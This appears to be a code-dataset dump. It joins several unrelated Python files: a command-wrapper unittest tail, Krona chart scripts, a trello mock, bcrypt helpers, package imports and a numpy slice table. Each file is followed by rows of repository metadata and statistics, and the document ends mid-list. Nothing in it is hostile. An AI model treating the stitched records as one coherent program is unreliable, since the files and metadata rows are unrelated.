self.assertEqual(ret["value"][0], 1)
self.assertEqual(ret["value"][1], "foo")
self.assertEqual(ret["value"][2][0], "hello")
self.assertEqual(ret["value"][2][1], "world")
class SakCmdWrapperFunctionDocAndDecoratorTest(unittest.TestCase):
def test_wrap_func_docstring_and_cmd_decorator(self) -> None:
# GIVEN.
@SakCmd("func", helpmsg="Higher precedence description.")
def func(arg_int: int) -> None:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:returns: Nothing.
"""
return None
# WHEN.
wrap = SakCmdWrapper(func)
# THEN.
self.assertEqual(wrap.name, "func")
self.assertEqual(wrap.helpmsg, "Higher precedence description.")
self.assertEqual(
wrap.description,
"Brief description.\n\nLong description, this is a long description.",
)
self.assertEqual(wrap.callback, func)
self.assertEqual(wrap.subcmds, [])
self.assertEqual(len(wrap.args), 1)
self.assertEqual(wrap.args[0].name, "arg_int")
self.assertEqual(wrap.args[0].helpmsg, "This is an int param.")
self.assertEqual(wrap.args[0].short_name, None)
self.assertEqual(wrap.args[0].vargs["required"], True)
self.assertEqual(wrap.args[0].vargs["type"], int)
self.assertEqual(wrap.args[0].completercb, None)
def test_wrap_func_docstring_and_arg_doc_decorator(self) -> None:
# GIVEN.
@SakArg(
"arg_int", type=int, helpmsg="Higher precedence description for int param."
)
def func(arg_int): # type: ignore
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:returns: Nothing.
"""
return None
# WHEN.
wrap = SakCmdWrapper(func)
# THEN.
self.assertEqual(wrap.name, "func")
self.assertEqual(wrap.helpmsg, "Brief description.")
self.assertEqual(
wrap.description,
"Brief description.\n\nLong description, this is a long description.",
)
self.assertEqual(wrap.callback, func)
self.assertEqual(wrap.subcmds, [])
self.assertEqual(len(wrap.args), 1)
self.assertEqual(wrap.args[0].name, "arg_int")
self.assertEqual(
wrap.args[0].helpmsg, "Higher precedence description for int param."
)
self.assertEqual(wrap.args[0].short_name, None)
self.assertEqual(wrap.args[0].vargs["required"], True)
self.assertEqual(wrap.args[0].vargs["type"], int)
self.assertEqual(wrap.args[0].completercb, None)
def test_wrap_func_docstring_and_arg_default_decorator(self) -> None:
# GIVEN.
@SakArg("arg_int", default=10)
def func(arg_int): # type: ignore
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:returns: Nothing.
"""
return None
# WHEN.
wrap = SakCmdWrapper(func)
# THEN.
self.assertEqual(wrap.name, "func")
self.assertEqual(wrap.helpmsg, "Brief description.")
self.assertEqual(
wrap.description,
"Brief description.\n\nLong description, this is a long description.",
)
self.assertEqual(wrap.callback, func)
self.assertEqual(wrap.subcmds, [])
self.assertEqual(len(wrap.args), 1)
self.assertEqual(wrap.args[0].name, "arg_int")
self.assertEqual(wrap.args[0].helpmsg, "This is an int param.")
self.assertEqual(wrap.args[0].short_name, None)
self.assertEqual(wrap.args[0].vargs["required"], True)
self.assertEqual(wrap.args[0].vargs["type"], int)
self.assertEqual(wrap.args[0].completercb, None)
def test_wrap_func_docstring_and_cmd_arg_decorator(self) -> None:
# GIVEN.
@SakCmd("func", helpmsg="Higher precedence description.")
@SakArg("arg_int", default=10)
def func(arg_int: int) -> None:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:returns: Nothing.
"""
return None
# WHEN.
wrap = SakCmdWrapper(func)
# THEN.
self.assertEqual(wrap.name, "func")
self.assertEqual(wrap.helpmsg, "Higher precedence description.")
self.assertEqual(
wrap.description,
"Brief description.\n\nLong description, this is a long description.",
)
self.assertEqual(wrap.callback, func)
self.assertEqual(wrap.subcmds, [])
self.assertEqual(len(wrap.args), 1)
self.assertEqual(wrap.args[0].name, "arg_int")
self.assertEqual(wrap.args[0].helpmsg, "This is an int param.")
self.assertEqual(wrap.args[0].short_name, None)
self.assertEqual(wrap.args[0].vargs["required"], True)
self.assertEqual(wrap.args[0].vargs["type"], int)
self.assertEqual(wrap.args[0].completercb, None)
| 35.364734 | 119 | 0.596954 | 1,746 | 14,641 | 4.902635 | 0.06701 | 0.212033 | 0.190888 | 0.150467 | 0.915888 | 0.896495 | 0.888084 | 0.834463 | 0.825584 | 0.815537 | 0 | 0.008735 | 0.272796 | 14,641 | 413 | 120 | 35.450363 | 0.795247 | 0.12827 | 0 | 0.716738 | 0 | 0.004292 | 0.145344 | 0 | 0 | 0 | 0 | 0 | 0.519313 | 1 | 0.098712 | false | 0.004292 | 0.012876 | 0 | 0.171674 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
b84c7a50949a6c78287b8a0fc51e3e07dfaaf570 | 90 | py | Python | trellomock/label.py | cesarob/py-trello-mock | 60557a6fc417a4d47aa50be3ad6a7f6dbac2c797 | [
"MIT"
] | null | null | null | trellomock/label.py | cesarob/py-trello-mock | 60557a6fc417a4d47aa50be3ad6a7f6dbac2c797 | [
"MIT"
] | null | null | null | trellomock/label.py | cesarob/py-trello-mock | 60557a6fc417a4d47aa50be3ad6a7f6dbac2c797 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import trello.label as label
class Label(label.Label):
pass
| 12.857143 | 28 | 0.644444 | 13 | 90 | 4.461538 | 0.692308 | 0.344828 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013889 | 0.2 | 90 | 6 | 29 | 15 | 0.791667 | 0.233333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
b88087fa610c485ec14d0119d7258aa1094cbcf5 | 6,023 | py | Python | taxontabletools/create_krona_chart.py | TillMacher/TaxonTableTools | 9b5c6356acd9890465d39f16b671eb346ceec25a | [
"MIT"
] | 13 | 2020-08-26T03:03:46.000Z | 2022-01-17T16:38:20.000Z | taxontabletools/create_krona_chart.py | TillMacher/TaxonTableTools | 9b5c6356acd9890465d39f16b671eb346ceec25a | [
"MIT"
] | 4 | 2020-08-24T14:42:46.000Z | 2022-02-03T10:17:12.000Z | taxontabletools/create_krona_chart.py | TillMacher/TaxonTableTools | 9b5c6356acd9890465d39f16b671eb346ceec25a | [
"MIT"
] | null | null | null | def create_krona_chart_single(TaXon_table_xlsx, path_to_outdirs):
import subprocess, os, webbrowser
import PySimpleGUI as sg
import pandas as pd
from pandas import DataFrame
import numpy as np
from pathlib import Path
try:
subprocess.call(["ktImportText"], stdout=open(os.devnull, 'wb'))
except:
sg.PopupError("Krona tools must be manually installed first!" + "\n" * 2 + "Note: Krona tools is currently not supported on Windows!" + "\n", title="Error")
raise RuntimeError("Krona tools needs to be installed")
TaXon_table_xlsx = Path(TaXon_table_xlsx)
TaXon_table_df = pd.read_excel(TaXon_table_xlsx)
TaXon_table_samples = TaXon_table_df.columns.tolist()[10:]
TaXon_table_df = TaXon_table_df.replace(np.nan, '__', regex=True)
## create an output folder
krona_chart_name = Path(TaXon_table_xlsx).name.replace(".xlsx", "")
dirName = Path(str(path_to_outdirs) + "/Krona_charts/" + krona_chart_name)
if not os.path.exists(dirName):
os.mkdir(dirName)
# check for presence absence data
# otherwise abort and print error message
pa_test = set([val for sublist in TaXon_table_df[TaXon_table_samples].values.tolist() for val in sublist])
if pa_test == {1,0}:
pa_data = True
else:
pa_data = False
row1 = ["sample-ID", "", "", "", "", "", ""]
row2 = ["count", "phylum", "class", "order", "family", "genus", "species"]
krona_taxonomy_list = []
krona_taxonomy_list.append(row1)
krona_taxonomy_list.append(row2)
for OTU in TaXon_table_df.values.tolist():
taxonomy = OTU[1:7]
reads = sum(OTU[10:])
if pa_data == True:
krona_taxonomy_list.append([1] + taxonomy)
else:
krona_taxonomy_list.append([reads] + taxonomy)
krona_taxonomy_df = pd.DataFrame(krona_taxonomy_list)
krona_chart_directory = Path(str(path_to_outdirs) + "/" + "Krona_charts" + "/" + TaXon_table_xlsx.stem)
krona_table_tsv = Path(str(dirName) + "/single_krona_table.tsv")
krona_chart_html = Path(str(dirName) + "_krona_single.html")
# write krona table to tsv
krona_taxonomy_df.to_csv(krona_table_tsv, sep="\t", header=False, index=False)
os.system("ktImportText " + str(krona_table_tsv) + " -o " + str(krona_chart_html))
# finish script
answer = sg.PopupYesNo('Show plot?', keep_on_top=True)
if answer == "Yes":
webbrowser.open('file://' + str(krona_chart_html))
closing_text = "Krona chart is found under:\n" + '/'.join(str(krona_chart_html).split("/")[-4:])
sg.Popup(closing_text, title="Finished", keep_on_top=True)
from taxontabletools.create_log import ttt_log
ttt_log("krona chart", "analysis", TaXon_table_xlsx.name, krona_chart_html.name, "nan", path_to_outdirs)
def create_krona_chart_multi(TaXon_table_xlsx, path_to_outdirs):
import subprocess, os, webbrowser
import PySimpleGUI as sg
import pandas as pd
from pandas import DataFrame
import numpy as np
from pathlib import Path
try:
subprocess.call(["ktImportText"], stdout=open(os.devnull, 'wb'))
except:
sg.PopupError("Krona tools must be manually installed first!" + "\n" * 2 + "Note: Krona tools is currently not supported on Windows!" + "\n", title="Error")
raise RuntimeError("Krona tools needs to be installed")
TaXon_table_xlsx = Path(TaXon_table_xlsx)
TaXon_table_df = pd.read_excel(TaXon_table_xlsx)
TaXon_table_samples = TaXon_table_df.columns.tolist()[10:]
TaXon_table_df = TaXon_table_df.replace(np.nan, '__', regex=True)
samples = TaXon_table_df.columns.tolist()[10:]
columns = TaXon_table_df.columns.tolist()[:10]
# check for presence absence data
# otherwise abort and print error message
pa_test = set([val for sublist in TaXon_table_df[TaXon_table_samples].values.tolist() for val in sublist])
if pa_test == {1,0}:
pa_data = True
else:
pa_data = False
## create an output folder
krona_chart_name = Path(TaXon_table_xlsx).name.replace(".xlsx", "")
dirName = Path(str(path_to_outdirs) + "/Krona_charts/" + krona_chart_name)
if not os.path.exists(dirName):
os.mkdir(dirName)
## store the names of the sample tsv files
sample_tsv_path = []
## write a seperate tsv file for each sample in the TaXon table
for sample in samples:
row1 = ["sample-ID", "", "", "", "", "", ""]
row2 = ["count", "phylum", "class", "order", "family", "genus", "species"]
krona_taxonomy_list = []
krona_taxonomy_list.append(row1)
krona_taxonomy_list.append(row2)
for OTU in TaXon_table_df[columns+[sample]].values.tolist():
taxonomy = OTU[1:7]
reads = sum(OTU[10:])
if reads != 0:
if pa_data == True:
krona_taxonomy_list.append([1] + taxonomy)
else:
krona_taxonomy_list.append([reads] + taxonomy)
## store the data in df
krona_taxonomy_df = pd.DataFrame(krona_taxonomy_list)
krona_table_tsv = Path(str(dirName) + "/" + sample.replace(" ", "_") + "_krona_table.tsv")
sample_tsv_path.append(str(krona_table_tsv))
# write krona table to tsv
krona_taxonomy_df.to_csv(krona_table_tsv, sep="\t", header=False, index=False)
krona_chart_html = Path(str(dirName) + "_krona_multi.html")
os.system("ktImportText " + ' '.join(sample_tsv_path) + " -o " + str(krona_chart_html))
# finish script
answer = sg.PopupYesNo('Show plot?', keep_on_top=True)
if answer == "Yes":
webbrowser.open('file://' + str(krona_chart_html))
closing_text = "Krona chart is found under:\n" + '/'.join(str(krona_chart_html).split("/")[-4:])
sg.Popup(closing_text, title="Finished", keep_on_top=True)
from taxontabletools.create_log import ttt_log
ttt_log("krona chart", "analysis", TaXon_table_xlsx.name, krona_chart_html.name, "nan", path_to_outdirs)
| 40.695946 | 164 | 0.663125 | 820 | 6,023 | 4.614634 | 0.192683 | 0.084567 | 0.044397 | 0.048626 | 0.892442 | 0.892442 | 0.872357 | 0.837738 | 0.837738 | 0.812368 | 0 | 0.007359 | 0.21036 | 6,023 | 147 | 165 | 40.972789 | 0.788267 | 0.064918 | 0 | 0.838095 | 0 | 0 | 0.132549 | 0.004098 | 0.019048 | 0 | 0 | 0 | 0 | 1 | 0.019048 | false | 0 | 0.171429 | 0 | 0.190476 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b89fa361378d09d9e402dc98fb67d84b6004f66a | 124 | py | Python | poorman_handshake/__init__.py | JarbasHiveMind/poorman_handshake | 4b6460f994813017d1c1e56ea7e5760f503a8eca | [
"Apache-2.0"
] | null | null | null | poorman_handshake/__init__.py | JarbasHiveMind/poorman_handshake | 4b6460f994813017d1c1e56ea7e5760f503a8eca | [
"Apache-2.0"
] | null | null | null | poorman_handshake/__init__.py | JarbasHiveMind/poorman_handshake | 4b6460f994813017d1c1e56ea7e5760f503a8eca | [
"Apache-2.0"
] | null | null | null | from poorman_handshake.symmetric import PasswordHandShake
from poorman_handshake.asymmetric import HandShake, HalfHandShake
| 41.333333 | 65 | 0.903226 | 13 | 124 | 8.461538 | 0.615385 | 0.2 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072581 | 124 | 2 | 66 | 62 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
b22dad59805034ef7dc33d7c0e0e73b9585c290b | 75 | py | Python | ux/tasks/__init__.py | vahndi/ux | 8acb3c07327e547ee948788536b6d6d1d7815bb2 | [
"MIT"
] | null | null | null | ux/tasks/__init__.py | vahndi/ux | 8acb3c07327e547ee948788536b6d6d1d7815bb2 | [
"MIT"
] | 43 | 2019-05-30T12:26:52.000Z | 2020-08-02T21:57:24.000Z | ux/tasks/__init__.py | vahndi/ux | 8acb3c07327e547ee948788536b6d6d1d7815bb2 | [
"MIT"
] | null | null | null | from ux.tasks.task import Task
from ux.tasks.task_result import TaskResult
| 25 | 43 | 0.84 | 13 | 75 | 4.769231 | 0.538462 | 0.193548 | 0.354839 | 0.483871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106667 | 75 | 2 | 44 | 37.5 | 0.925373 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b23d9ebd1749f4cfd520da59edbe3421eae86ce5 | 169 | py | Python | gym_anytrading/envs/__init__.py | kylinLiu/gym-anytrading | fe71dd329a3eebf013e572c01d2aa0909b1e4156 | [
"MIT"
] | null | null | null | gym_anytrading/envs/__init__.py | kylinLiu/gym-anytrading | fe71dd329a3eebf013e572c01d2aa0909b1e4156 | [
"MIT"
] | null | null | null | gym_anytrading/envs/__init__.py | kylinLiu/gym-anytrading | fe71dd329a3eebf013e572c01d2aa0909b1e4156 | [
"MIT"
] | null | null | null | # from .trading_env import TradingEnv, Actions, Positions
from .trading_env import TradingEnv, Actions
from .forex_env import ForexEnv
from .stocks_env import StocksEnv
| 33.8 | 57 | 0.83432 | 23 | 169 | 5.956522 | 0.478261 | 0.262774 | 0.20438 | 0.291971 | 0.540146 | 0.540146 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118343 | 169 | 4 | 58 | 42.25 | 0.919463 | 0.325444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
b25236aa9ef5aa5d43a80af20069acf48ff13901 | 374 | py | Python | utils/commons.py | pablobascunana/store-api-flask-sql | a079857d2d6a4277c7b2e6534f6fd7ffa27a6291 | [
"MIT"
] | null | null | null | utils/commons.py | pablobascunana/store-api-flask-sql | a079857d2d6a4277c7b2e6534f6fd7ffa27a6291 | [
"MIT"
] | null | null | null | utils/commons.py | pablobascunana/store-api-flask-sql | a079857d2d6a4277c7b2e6534f6fd7ffa27a6291 | [
"MIT"
] | null | null | null | import bcrypt
import uuid
def generate_uuid_4():
return str(uuid.uuid4())
def generate_hash_password(password: str) -> str:
return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8')
def check_hash_password(password: str, stored_password: str) -> bool:
return bcrypt.checkpw(password.encode('utf-8'), stored_password.encode('utf-8'))
| 24.933333 | 84 | 0.729947 | 53 | 374 | 5 | 0.396226 | 0.060377 | 0.192453 | 0.203774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018182 | 0.117647 | 374 | 14 | 85 | 26.714286 | 0.784848 | 0 | 0 | 0 | 1 | 0 | 0.053476 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0.5 | 0.25 | 0.375 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 7 |
b261b75b0053b56dffe2e163e21b34bb94cf8d5c | 41,057 | py | Python | frame_2D_alg/alternative_versions/LUT.py | khanh93vn/CogAlg | b984c12316e266dd8f012dee90ce26bd604fbdd1 | [
"MIT"
] | 11 | 2018-12-01T04:20:06.000Z | 2021-05-18T08:43:51.000Z | frame_2D_alg/alternative_versions/LUT.py | khanh93vn/CogAlg | b984c12316e266dd8f012dee90ce26bd604fbdd1 | [
"MIT"
] | null | null | null | frame_2D_alg/alternative_versions/LUT.py | khanh93vn/CogAlg | b984c12316e266dd8f012dee90ce26bd604fbdd1 | [
"MIT"
] | 3 | 2020-03-27T14:01:22.000Z | 2021-07-16T13:54:56.000Z | import numpy as np
TRANSLATING_SLICES = {
0:[
(Ellipsis, slice(None, -2, None), slice(None, -2, None)),
(Ellipsis, slice(None, -2, None), slice(1, -1, None)),
(Ellipsis, slice(None, -2, None), slice(2, None, None)),
(Ellipsis, slice(1, -1, None), slice(2, None, None)),
(Ellipsis, slice(2, None, None), slice(2, None, None)),
(Ellipsis, slice(2, None, None), slice(1, -1, None)),
(Ellipsis, slice(2, None, None), slice(None, -2, None)),
(Ellipsis, slice(1, -1, None), slice(None, -2, None)),
],
1:[
(Ellipsis, slice(None, -4, None), slice(None, -4, None)),
(Ellipsis, slice(None, -4, None), slice(1, -3, None)),
(Ellipsis, slice(None, -4, None), slice(2, -2, None)),
(Ellipsis, slice(None, -4, None), slice(3, -1, None)),
(Ellipsis, slice(None, -4, None), slice(4, None, None)),
(Ellipsis, slice(1, -3, None), slice(4, None, None)),
(Ellipsis, slice(2, -2, None), slice(4, None, None)),
(Ellipsis, slice(3, -1, None), slice(4, None, None)),
(Ellipsis, slice(4, None, None), slice(4, None, None)),
(Ellipsis, slice(4, None, None), slice(3, -1, None)),
(Ellipsis, slice(4, None, None), slice(2, -2, None)),
(Ellipsis, slice(4, None, None), slice(1, -3, None)),
(Ellipsis, slice(4, None, None), slice(None, -4, None)),
(Ellipsis, slice(3, -1, None), slice(None, -4, None)),
(Ellipsis, slice(2, -2, None), slice(None, -4, None)),
(Ellipsis, slice(1, -3, None), slice(None, -4, None)),
],
2:[
(Ellipsis, slice(None, -6, None), slice(None, -6, None)),
(Ellipsis, slice(None, -6, None), slice(1, -5, None)),
(Ellipsis, slice(None, -6, None), slice(2, -4, None)),
(Ellipsis, slice(None, -6, None), slice(3, -3, None)),
(Ellipsis, slice(None, -6, None), slice(4, -2, None)),
(Ellipsis, slice(None, -6, None), slice(5, -1, None)),
(Ellipsis, slice(None, -6, None), slice(6, None, None)),
(Ellipsis, slice(1, -5, None), slice(6, None, None)),
(Ellipsis, slice(2, -4, None), slice(6, None, None)),
(Ellipsis, slice(3, -3, None), slice(6, None, None)),
(Ellipsis, slice(4, -2, None), slice(6, None, None)),
(Ellipsis, slice(5, -1, None), slice(6, None, None)),
(Ellipsis, slice(6, None, None), slice(6, None, None)),
(Ellipsis, slice(6, None, None), slice(5, -1, None)),
(Ellipsis, slice(6, None, None), slice(4, -2, None)),
(Ellipsis, slice(6, None, None), slice(3, -3, None)),
(Ellipsis, slice(6, None, None), slice(2, -4, None)),
(Ellipsis, slice(6, None, None), slice(1, -5, None)),
(Ellipsis, slice(6, None, None), slice(None, -6, None)),
(Ellipsis, slice(5, -1, None), slice(None, -6, None)),
(Ellipsis, slice(4, -2, None), slice(None, -6, None)),
(Ellipsis, slice(3, -3, None), slice(None, -6, None)),
(Ellipsis, slice(2, -4, None), slice(None, -6, None)),
(Ellipsis, slice(1, -5, None), slice(None, -6, None)),
],
3:[
(Ellipsis, slice(None, -8, None), slice(None, -8, None)),
(Ellipsis, slice(None, -8, None), slice(1, -7, None)),
(Ellipsis, slice(None, -8, None), slice(2, -6, None)),
(Ellipsis, slice(None, -8, None), slice(3, -5, None)),
(Ellipsis, slice(None, -8, None), slice(4, -4, None)),
(Ellipsis, slice(None, -8, None), slice(5, -3, None)),
(Ellipsis, slice(None, -8, None), slice(6, -2, None)),
(Ellipsis, slice(None, -8, None), slice(7, -1, None)),
(Ellipsis, slice(None, -8, None), slice(8, None, None)),
(Ellipsis, slice(1, -7, None), slice(8, None, None)),
(Ellipsis, slice(2, -6, None), slice(8, None, None)),
(Ellipsis, slice(3, -5, None), slice(8, None, None)),
(Ellipsis, slice(4, -4, None), slice(8, None, None)),
(Ellipsis, slice(5, -3, None), slice(8, None, None)),
(Ellipsis, slice(6, -2, None), slice(8, None, None)),
(Ellipsis, slice(7, -1, None), slice(8, None, None)),
(Ellipsis, slice(8, None, None), slice(8, None, None)),
(Ellipsis, slice(8, None, None), slice(7, -1, None)),
(Ellipsis, slice(8, None, None), slice(6, -2, None)),
(Ellipsis, slice(8, None, None), slice(5, -3, None)),
(Ellipsis, slice(8, None, None), slice(4, -4, None)),
(Ellipsis, slice(8, None, None), slice(3, -5, None)),
(Ellipsis, slice(8, None, None), slice(2, -6, None)),
(Ellipsis, slice(8, None, None), slice(1, -7, None)),
(Ellipsis, slice(8, None, None), slice(None, -8, None)),
(Ellipsis, slice(7, -1, None), slice(None, -8, None)),
(Ellipsis, slice(6, -2, None), slice(None, -8, None)),
(Ellipsis, slice(5, -3, None), slice(None, -8, None)),
(Ellipsis, slice(4, -4, None), slice(None, -8, None)),
(Ellipsis, slice(3, -5, None), slice(None, -8, None)),
(Ellipsis, slice(2, -6, None), slice(None, -8, None)),
(Ellipsis, slice(1, -7, None), slice(None, -8, None)),
],
4:[
(Ellipsis, slice(None, -10, None), slice(None, -10, None)),
(Ellipsis, slice(None, -10, None), slice(1, -9, None)),
(Ellipsis, slice(None, -10, None), slice(2, -8, None)),
(Ellipsis, slice(None, -10, None), slice(3, -7, None)),
(Ellipsis, slice(None, -10, None), slice(4, -6, None)),
(Ellipsis, slice(None, -10, None), slice(5, -5, None)),
(Ellipsis, slice(None, -10, None), slice(6, -4, None)),
(Ellipsis, slice(None, -10, None), slice(7, -3, None)),
(Ellipsis, slice(None, -10, None), slice(8, -2, None)),
(Ellipsis, slice(None, -10, None), slice(9, -1, None)),
(Ellipsis, slice(None, -10, None), slice(10, None, None)),
(Ellipsis, slice(1, -9, None), slice(10, None, None)),
(Ellipsis, slice(2, -8, None), slice(10, None, None)),
(Ellipsis, slice(3, -7, None), slice(10, None, None)),
(Ellipsis, slice(4, -6, None), slice(10, None, None)),
(Ellipsis, slice(5, -5, None), slice(10, None, None)),
(Ellipsis, slice(6, -4, None), slice(10, None, None)),
(Ellipsis, slice(7, -3, None), slice(10, None, None)),
(Ellipsis, slice(8, -2, None), slice(10, None, None)),
(Ellipsis, slice(9, -1, None), slice(10, None, None)),
(Ellipsis, slice(10, None, None), slice(10, None, None)),
(Ellipsis, slice(10, None, None), slice(9, -1, None)),
(Ellipsis, slice(10, None, None), slice(8, -2, None)),
(Ellipsis, slice(10, None, None), slice(7, -3, None)),
(Ellipsis, slice(10, None, None), slice(6, -4, None)),
(Ellipsis, slice(10, None, None), slice(5, -5, None)),
(Ellipsis, slice(10, None, None), slice(4, -6, None)),
(Ellipsis, slice(10, None, None), slice(3, -7, None)),
(Ellipsis, slice(10, None, None), slice(2, -8, None)),
(Ellipsis, slice(10, None, None), slice(1, -9, None)),
(Ellipsis, slice(10, None, None), slice(None, -10, None)),
(Ellipsis, slice(9, -1, None), slice(None, -10, None)),
(Ellipsis, slice(8, -2, None), slice(None, -10, None)),
(Ellipsis, slice(7, -3, None), slice(None, -10, None)),
(Ellipsis, slice(6, -4, None), slice(None, -10, None)),
(Ellipsis, slice(5, -5, None), slice(None, -10, None)),
(Ellipsis, slice(4, -6, None), slice(None, -10, None)),
(Ellipsis, slice(3, -7, None), slice(None, -10, None)),
(Ellipsis, slice(2, -8, None), slice(None, -10, None)),
(Ellipsis, slice(1, -9, None), slice(None, -10, None)),
],
5:[
(Ellipsis, slice(None, -12, None), slice(None, -12, None)),
(Ellipsis, slice(None, -12, None), slice(1, -11, None)),
(Ellipsis, slice(None, -12, None), slice(2, -10, None)),
(Ellipsis, slice(None, -12, None), slice(3, -9, None)),
(Ellipsis, slice(None, -12, None), slice(4, -8, None)),
(Ellipsis, slice(None, -12, None), slice(5, -7, None)),
(Ellipsis, slice(None, -12, None), slice(6, -6, None)),
(Ellipsis, slice(None, -12, None), slice(7, -5, None)),
(Ellipsis, slice(None, -12, None), slice(8, -4, None)),
(Ellipsis, slice(None, -12, None), slice(9, -3, None)),
(Ellipsis, slice(None, -12, None), slice(10, -2, None)),
(Ellipsis, slice(None, -12, None), slice(11, -1, None)),
(Ellipsis, slice(None, -12, None), slice(12, None, None)),
(Ellipsis, slice(1, -11, None), slice(12, None, None)),
(Ellipsis, slice(2, -10, None), slice(12, None, None)),
(Ellipsis, slice(3, -9, None), slice(12, None, None)),
(Ellipsis, slice(4, -8, None), slice(12, None, None)),
(Ellipsis, slice(5, -7, None), slice(12, None, None)),
(Ellipsis, slice(6, -6, None), slice(12, None, None)),
(Ellipsis, slice(7, -5, None), slice(12, None, None)),
(Ellipsis, slice(8, -4, None), slice(12, None, None)),
(Ellipsis, slice(9, -3, None), slice(12, None, None)),
(Ellipsis, slice(10, -2, None), slice(12, None, None)),
(Ellipsis, slice(11, -1, None), slice(12, None, None)),
(Ellipsis, slice(12, None, None), slice(12, None, None)),
(Ellipsis, slice(12, None, None), slice(11, -1, None)),
(Ellipsis, slice(12, None, None), slice(10, -2, None)),
(Ellipsis, slice(12, None, None), slice(9, -3, None)),
(Ellipsis, slice(12, None, None), slice(8, -4, None)),
(Ellipsis, slice(12, None, None), slice(7, -5, None)),
(Ellipsis, slice(12, None, None), slice(6, -6, None)),
(Ellipsis, slice(12, None, None), slice(5, -7, None)),
(Ellipsis, slice(12, None, None), slice(4, -8, None)),
(Ellipsis, slice(12, None, None), slice(3, -9, None)),
(Ellipsis, slice(12, None, None), slice(2, -10, None)),
(Ellipsis, slice(12, None, None), slice(1, -11, None)),
(Ellipsis, slice(12, None, None), slice(None, -12, None)),
(Ellipsis, slice(11, -1, None), slice(None, -12, None)),
(Ellipsis, slice(10, -2, None), slice(None, -12, None)),
(Ellipsis, slice(9, -3, None), slice(None, -12, None)),
(Ellipsis, slice(8, -4, None), slice(None, -12, None)),
(Ellipsis, slice(7, -5, None), slice(None, -12, None)),
(Ellipsis, slice(6, -6, None), slice(None, -12, None)),
(Ellipsis, slice(5, -7, None), slice(None, -12, None)),
(Ellipsis, slice(4, -8, None), slice(None, -12, None)),
(Ellipsis, slice(3, -9, None), slice(None, -12, None)),
(Ellipsis, slice(2, -10, None), slice(None, -12, None)),
(Ellipsis, slice(1, -11, None), slice(None, -12, None)),
],
6:[
(Ellipsis, slice(None, -14, None), slice(None, -14, None)),
(Ellipsis, slice(None, -14, None), slice(1, -13, None)),
(Ellipsis, slice(None, -14, None), slice(2, -12, None)),
(Ellipsis, slice(None, -14, None), slice(3, -11, None)),
(Ellipsis, slice(None, -14, None), slice(4, -10, None)),
(Ellipsis, slice(None, -14, None), slice(5, -9, None)),
(Ellipsis, slice(None, -14, None), slice(6, -8, None)),
(Ellipsis, slice(None, -14, None), slice(7, -7, None)),
(Ellipsis, slice(None, -14, None), slice(8, -6, None)),
(Ellipsis, slice(None, -14, None), slice(9, -5, None)),
(Ellipsis, slice(None, -14, None), slice(10, -4, None)),
(Ellipsis, slice(None, -14, None), slice(11, -3, None)),
(Ellipsis, slice(None, -14, None), slice(12, -2, None)),
